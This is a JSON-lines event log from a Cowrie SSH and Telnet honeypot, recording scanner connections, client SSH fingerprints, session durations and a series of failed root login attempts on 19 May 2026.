{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:19.540410Z","src_ip":"62.133.63.178","session":"a59f2609ce47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.41272521018982,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:24.730224Z","src_ip":"192.119.13.58","session":"5d6657615e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":53766,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eae46fb83a1","protocol":"telnet","message":"New connection: 186.195.16.41:53766 (159.203.135.109:23) [session: 6eae46fb83a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:37.178467Z"}
{"eventid":"cowrie.session.closed","duration":40.456627368927,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:56.900451Z","src_ip":"192.119.13.58","session":"a6e8372daafd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.97815561294556,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:41:58.346573Z","src_ip":"186.195.16.41","session":"a8aa681af91e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"78d6067e541f","protocol":"telnet","message":"New connection: 192.119.13.58:44870 (10.17.0.5:23) [session: 78d6067e541f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:05.649360Z"}
{"eventid":"cowrie.session.closed","duration":6.4092772006988525,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:12.058514Z","src_ip":"192.119.13.58","session":"78d6067e541f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57142,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d650b0535a","protocol":"ssh","message":"New connection: 89.223.69.22:57142 (159.203.135.109:22) [session: 42d650b0535a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:13.009874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:13.015104Z","src_ip":"89.223.69.22","session":"42d650b0535a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:14.514981Z","src_ip":"89.223.69.22","session":"42d650b0535a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54750,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e846286a75a","protocol":"telnet","message":"New connection: 192.119.13.58:54750 (10.17.0.5:23) [session: 1e846286a75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:27.506175Z"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:33.010239Z","src_ip":"89.223.69.22","session":"42d650b0535a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55730,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b7247d47e6","protocol":"telnet","message":"New connection: 192.119.13.58:55730 (10.17.0.5:23) [session: 24b7247d47e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:42:40.455231Z"}
{"eventid":"cowrie.session.closed","duration":33.11088228225708,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:00.616917Z","src_ip":"192.119.13.58","session":"1e846286a75a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52848,"dst_ip":"10.17.0.5","dst_port":23,"session":"d005fca6f613","protocol":"telnet","message":"New connection: 192.119.13.58:52848 (10.17.0.5:23) [session: d005fca6f613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:08.600329Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":58669,"dst_ip":"159.203.135.109","dst_port":23,"session":"f163af8a124f","protocol":"telnet","message":"New connection: 186.195.16.41:58669 (159.203.135.109:23) [session: f163af8a124f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:13.600738Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40140,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e3db1a01c9","protocol":"telnet","message":"New connection: 192.119.13.58:40140 (10.17.0.5:23) [session: 97e3db1a01c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:17.975721Z"}
{"eventid":"cowrie.session.closed","duration":44.320515394210815,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:24.775614Z","src_ip":"192.119.13.58","session":"24b7247d47e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00621247291565,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.184567Z","src_ip":"186.195.16.41","session":"6eae46fb83a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.220","src_port":51488,"dst_ip":"10.17.0.5","dst_port":22,"session":"45033dbb946b","protocol":"ssh","message":"New connection: 38.96.178.220:51488 (10.17.0.5:22) [session: 45033dbb946b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.511665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.516569Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.527442Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:aa:75:83:aa:ee:01:1e:51:bb:79:05:4c:73:5f:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCufWnU8dv77JdFwJI9JsGTJN+3Qsnpg0a8ZgQhS1a2ZC4f9tVFnx4kEgZB28izX6q/81yJy1aJhbLgcKbL4zCr7kIcwbj+NCL2gAGo2GXpPJSpd39pRjNObWcTdNuheocyJeIBNOsIjmUK9XDLHe4RybU5Ke0q/Q5iHJFSqRzfLYzwwVKeq1Al6j2m97nViv4b83vGjfEYKKTkAFYlrRPl4MswZ5gjdN2bV5SxAB/EAvqpEaHRCKD14rtlp9X9tJMj8e8TeuB7u3hLLGeIro1yYfi8wFxTgcvWgR475K5ZqO6zkaEHsPZy3aK4wKoFsF9IzT11wc2YpqlxjW0hXi7t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:aa:75:83:aa:ee:01:1e:51:bb:79:05:4c:73:5f:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.544543Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:aa:75:83:aa:ee:01:1e:51:bb:79:05:4c:73:5f:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCufWnU8dv77JdFwJI9JsGTJN+3Qsnpg0a8ZgQhS1a2ZC4f9tVFnx4kEgZB28izX6q/81yJy1aJhbLgcKbL4zCr7kIcwbj+NCL2gAGo2GXpPJSpd39pRjNObWcTdNuheocyJeIBNOsIjmUK9XDLHe4RybU5Ke0q/Q5iHJFSqRzfLYzwwVKeq1Al6j2m97nViv4b83vGjfEYKKTkAFYlrRPl4MswZ5gjdN2bV5SxAB/EAvqpEaHRCKD14rtlp9X9tJMj8e8TeuB7u3hLLGeIro1yYfi8wFxTgcvWgR475K5ZqO6zkaEHsPZy3aK4wKoFsF9IzT11wc2YpqlxjW0hXi7t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.548283Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:ef:16:ce:87:20:99:6d:02:3e:02:fc:4b:5e:35:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3PUrkmJ8nNJsc0NIKi2E2/2TF1xNsRncFjJPYPL8nSQywUKZ2RXkbbJcROgFaD51XTf9rn0D2r9vS/SLwdrIUQws4D77wpI70dxu6kxRJZt77SFX8h7Q4XpJ3EhXQqZS2zAff2AEWyOUR2FrXIO1+6u2rHOEfnrHtVbLx3fWBPyWa/8XRQlfdarv7P3V33PQDQHRjmnvqWnRGHSCLXudxAYl1XUP1bL0twyteqqO0i1oe4qNvSa/6VsD5xm2wzfNnAnnRNxct4LG4LdA48c5Lxr0dO5BrMDXDvlLs3L2O7rSiPRnloKnRRPZwaER2ducmgBpwVRZasG+vBUSjtmhX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:ef:16:ce:87:20:99:6d:02:3e:02:fc:4b:5e:35:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.556041Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:ef:16:ce:87:20:99:6d:02:3e:02:fc:4b:5e:35:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3PUrkmJ8nNJsc0NIKi2E2/2TF1xNsRncFjJPYPL8nSQywUKZ2RXkbbJcROgFaD51XTf9rn0D2r9vS/SLwdrIUQws4D77wpI70dxu6kxRJZt77SFX8h7Q4XpJ3EhXQqZS2zAff2AEWyOUR2FrXIO1+6u2rHOEfnrHtVbLx3fWBPyWa/8XRQlfdarv7P3V33PQDQHRjmnvqWnRGHSCLXudxAYl1XUP1bL0twyteqqO0i1oe4qNvSa/6VsD5xm2wzfNnAnnRNxct4LG4LdA48c5Lxr0dO5BrMDXDvlLs3L2O7rSiPRnloKnRRPZwaER2ducmgBpwVRZasG+vBUSjtmhX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.559989Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:e6:fa:5d:15:7f:94:6f:f6:c8:0c:6b:fc:11:7a:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANwold0B9GMFrgQ22ki2si/kS64B33AsGUk3OWluX3/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:e6:fa:5d:15:7f:94:6f:f6:c8:0c:6b:fc:11:7a:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.569812Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:e6:fa:5d:15:7f:94:6f:f6:c8:0c:6b:fc:11:7a:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANwold0B9GMFrgQ22ki2si/kS64B33AsGUk3OWluX3/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.573954Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:ff:5a:5d:eb:d4:14:df:2b:08:b7:70:26:9a:50:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuc5an4yie32/SXqmBZZixD1aN38YtQsnMIudK8fyv+wKoe8UTj+crwSHha3d7E7rLIofDdi/MRAM/Kbr/SC/iAlIWn4DeCMRr2faFcoOzWhebWTjZALk2M1uta3sdHjmrEw8iFsu2s7ip5Pd0t3YOqFIm2qJrc1a1S2+ZxdAEC4755a1EO3RNeIs49VCynmV1VOsm84kJf8OLB/uhvjRg2LoMbowZHgvsTG/lT+2Buj77MEjrrj5BoROsQUGcCcKpOZ9qu/o3/wTDWbUBW9ABxcef1OGz7Mg8MYSW/9heKvrDkxi+oCoFfyrSdXd3/bBR2SEV0RIfY3CWj1eLXkYU6PGP309QXfXQylYSmyYSkcMRXGAExCuLvkUmBdCG0En2YD16/XuCGhLuHHgtM8rXxLDz8yPc3dtoAvqXViNc5XFGBWE8XSsYYHGvyLnijDHHe/xqgPoBMj5hzswUzNRHKoChzCKCDjSC3urj3CC3FCQ12blr9ri/uIGfrCqdkCTB+CY3x8+RdAY0sVM9AwJZO9c2eJCCqaDJwt7HXr/1GzzFSi+khDaXbi8LUsCSMkzmv3nIqDa//JyLbUvo7izl0Hxbwvb6ggRd6C/d8pObyrfWCvKLqWLAOGyMfKU6BUVLpYOUuBZAQEnAZQObLoAAJ9PyKYt4b+PxmCC6x/SNVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:ff:5a:5d:eb:d4:14:df:2b:08:b7:70:26:9a:50:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.583799Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:ff:5a:5d:eb:d4:14:df:2b:08:b7:70:26:9a:50:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuc5an4yie32/SXqmBZZixD1aN38YtQsnMIudK8fyv+wKoe8UTj+crwSHha3d7E7rLIofDdi/MRAM/Kbr/SC/iAlIWn4DeCMRr2faFcoOzWhebWTjZALk2M1uta3sdHjmrEw8iFsu2s7ip5Pd0t3YOqFIm2qJrc1a1S2+ZxdAEC4755a1EO3RNeIs49VCynmV1VOsm84kJf8OLB/uhvjRg2LoMbowZHgvsTG/lT+2Buj77MEjrrj5BoROsQUGcCcKpOZ9qu/o3/wTDWbUBW9ABxcef1OGz7Mg8MYSW/9heKvrDkxi+oCoFfyrSdXd3/bBR2SEV0RIfY3CWj1eLXkYU6PGP309QXfXQylYSmyYSkcMRXGAExCuLvkUmBdCG0En2YD16/XuCGhLuHHgtM8rXxLDz8yPc3dtoAvqXViNc5XFGBWE8XSsYYHGvyLnijDHHe/xqgPoBMj5hzswUzNRHKoChzCKCDjSC3urj3CC3FCQ12blr9ri/uIGfrCqdkCTB+CY3x8+RdAY0sVM9AwJZO9c2eJCCqaDJwt7HXr/1GzzFSi+khDaXbi8LUsCSMkzmv3nIqDa//JyLbUvo7izl0Hxbwvb6ggRd6C/d8pObyrfWCvKLqWLAOGyMfKU6BUVLpYOUuBZAQEnAZQObLoAAJ9PyKYt4b+PxmCC6x/SNVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.587570Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:c3:d5:f4:94:ab:e8:cd:a6:90:27:43:b9:05:37:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpef/J4pKZxap9C9gm8CrYTCHGfbjwZ+5pckc/uYF8pJ27mz/dkPXSdveQUKFzfBzK8tomOgA6cwf6nWJedJ+GoN8KwajRwYMzgEHgmbawJOLoT07uDcOsJKUjC4+deGk97zFUHHrhiXFbvgoj/gqCG1kchV0pKhZ6ala51yQrfch0hq2zvfsslE740qHBUhafSnGbr2FbYgeQbkg4kz1Jjly9MgMSh5+YcBA3QVZRKMs9tQTNY4hIcQ19wXk5O5W2zLfRgDZSAAoI4UXxN+is3be55vzTixN7g8Ixa3FjT/n8vZM6WWTMU621gDSP/hH5Ph8VzQjCuYmJhwe+lti3qU7c/xXB4dFFNTW3bPUDA6yD93oL9h332wA7bb9QS9fhoIW0CX0tgdx5Y56gPrxJa4GKKBVNUuHmndmbDyyp6hMmkwzUE/HUjJnoH+tDZSUTc8kfYMucYUPc5Zv/bj52RmuKlayervslyqjWIP4uSlm3GRMQyVMyO75IZkCCkxqfLXaa2v3iaxG191auvld9NsJVEnBtmKXyXO60y8tb72rG7fiMnqoiDHf50MUhbLPa3v/drU/IKZp78WUDvzQEqNn3VkBtSBRLtZQ3i9jJ9IV5FtfaP6ws0uB/eYhgzDUlsHbz7hRyrdpwOxiIVGaegVkm26KbgLQA2kkAejp/KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:c3:d5:f4:94:ab:e8:cd:a6:90:27:43:b9:05:37:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.597291Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:c3:d5:f4:94:ab:e8:cd:a6:90:27:43:b9:05:37:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpef/J4pKZxap9C9gm8CrYTCHGfbjwZ+5pckc/uYF8pJ27mz/dkPXSdveQUKFzfBzK8tomOgA6cwf6nWJedJ+GoN8KwajRwYMzgEHgmbawJOLoT07uDcOsJKUjC4+deGk97zFUHHrhiXFbvgoj/gqCG1kchV0pKhZ6ala51yQrfch0hq2zvfsslE740qHBUhafSnGbr2FbYgeQbkg4kz1Jjly9MgMSh5+YcBA3QVZRKMs9tQTNY4hIcQ19wXk5O5W2zLfRgDZSAAoI4UXxN+is3be55vzTixN7g8Ixa3FjT/n8vZM6WWTMU621gDSP/hH5Ph8VzQjCuYmJhwe+lti3qU7c/xXB4dFFNTW3bPUDA6yD93oL9h332wA7bb9QS9fhoIW0CX0tgdx5Y56gPrxJa4GKKBVNUuHmndmbDyyp6hMmkwzUE/HUjJnoH+tDZSUTc8kfYMucYUPc5Zv/bj52RmuKlayervslyqjWIP4uSlm3GRMQyVMyO75IZkCCkxqfLXaa2v3iaxG191auvld9NsJVEnBtmKXyXO60y8tb72rG7fiMnqoiDHf50MUhbLPa3v/drU/IKZp78WUDvzQEqNn3VkBtSBRLtZQ3i9jJ9IV5FtfaP6ws0uB/eYhgzDUlsHbz7hRyrdpwOxiIVGaegVkm26KbgLQA2kkAejp/KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.601085Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:37.609069Z","src_ip":"38.96.178.220","session":"45033dbb946b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60046,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a033851b314","protocol":"ssh","message":"New connection: 103.77.242.62:60046 (159.203.135.109:22) [session: 3a033851b314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:49.697686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:49.701938Z","src_ip":"103.77.242.62","session":"3a033851b314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:49.938922Z","src_ip":"103.77.242.62","session":"3a033851b314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"122112","message":"login attempt [root/122112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:50.651775Z","src_ip":"103.77.242.62","session":"3a033851b314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:51.892387Z","src_ip":"103.77.242.62","session":"3a033851b314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.87345290184021,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:52.474077Z","src_ip":"186.195.16.41","session":"f163af8a124f","protocol":"telnet"}
